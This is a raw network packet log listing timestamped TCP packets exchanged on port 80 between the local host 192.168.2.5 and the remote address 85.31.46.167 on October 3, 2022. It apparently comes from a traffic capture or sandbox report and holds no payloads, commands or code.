Oct 3, 2022 17:30:00.076046944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076050997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076069117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076080084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076092005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076097965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076113939 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076122999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076154947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076157093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076172113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076180935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076196909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076208115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076225996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076231003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076256990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076256990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076278925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076286077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076306105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076307058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076327085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076332092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076345921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076356888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076380014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076380968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076405048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076406956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076428890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076431036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076453924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076453924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076478004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076478958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076505899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076505899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076520920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076528072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076551914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076553106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076576948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076577902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076602936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076602936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076627016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076628923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076642036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076653957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076677084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076678991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076700926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076702118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076714993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076728106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076744080 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076750994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076776028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076777935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076802969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076827049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076833010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076833010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076852083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076867104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076878071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076903105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076911926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076911926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076926947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076926947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076953888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.076956034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076970100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.076977968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077004910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077024937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077025890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077030897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077050924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077056885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077069044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077081919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077104092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077105999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077120066 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077131033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077152967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077158928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077171087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077186108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077202082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077210903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077231884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077234983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077249050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077260971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077285051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077286959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077310085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077313900 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077333927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077334881 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077358961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077367067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077383041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077394009 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077415943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077423096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077439070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077449083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077475071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077480078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077501059 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077506065 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077529907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077536106 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077557087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077558041 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077581882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077581882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077605009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077610970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077634096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077644110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077663898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077671051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077694893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077701092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077721119 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077732086 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077745914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077759981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077770948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077775955 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077802896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077809095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077826977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077837944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077856064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077864885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077887058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077893019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077903986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077919960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077943087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077964067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.077982903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.077989101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078011036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078013897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078033924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078042984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078056097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078057051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078082085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078097105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078104019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078120947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078128099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078150988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078169107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078172922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078195095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078197956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078217030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078227997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078241110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078262091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078263998 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078285933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078299046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078308105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078330040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078331947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078353882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078368902 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078377008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078397989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078404903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078427076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078427076 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078444004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078450918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078460932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078473091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078485012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078496933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078506947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078520060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078530073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078541994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078555107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078563929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.078579903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.078597069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.105696917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105747938 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105793953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105839014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105880022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105914116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105916023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.105943918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105967045 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.105974913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.105998039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106008053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106019020 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106040001 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106051922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106071949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106084108 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106102943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106117010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106132984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106144905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106168032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106172085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106198072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106208086 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106226921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106235981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106260061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106266975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106295109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106307030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106326103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106337070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106364965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106376886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106396914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106405973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106426954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106437922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106456995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106467962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106487036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106494904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106517076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106524944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106549025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106561899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106581926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106591940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106611967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106620073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106643915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106651068 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106676102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106688023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106705904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106714010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106735945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106745005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106765985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106775999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106796980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106806040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106831074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106839895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106861115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106868029 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106913090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106926918 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106945038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106964111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.106976986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.106987953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107007980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107018948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107038021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107048988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107069969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107079983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107100010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107111931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107127905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107139111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107157946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107166052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107187986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107197046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107218027 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107228994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107248068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107260942 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107279062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107286930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107310057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107319117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107340097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107348919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107372046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107379913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107404947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107419014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107434034 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107439995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107464075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107471943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107495070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107505083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107525110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107531071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107556105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107563019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107585907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107595921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107615948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107623100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107650995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107659101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107681036 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107712984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107718945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107731104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107743979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107752085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107774973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107783079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107805967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107815027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107837915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107846022 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107867956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107877970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107898951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107904911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107928038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:00.107939005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:00.107956886 CEST	80	49694	85.31.46.167	192.168.2.5
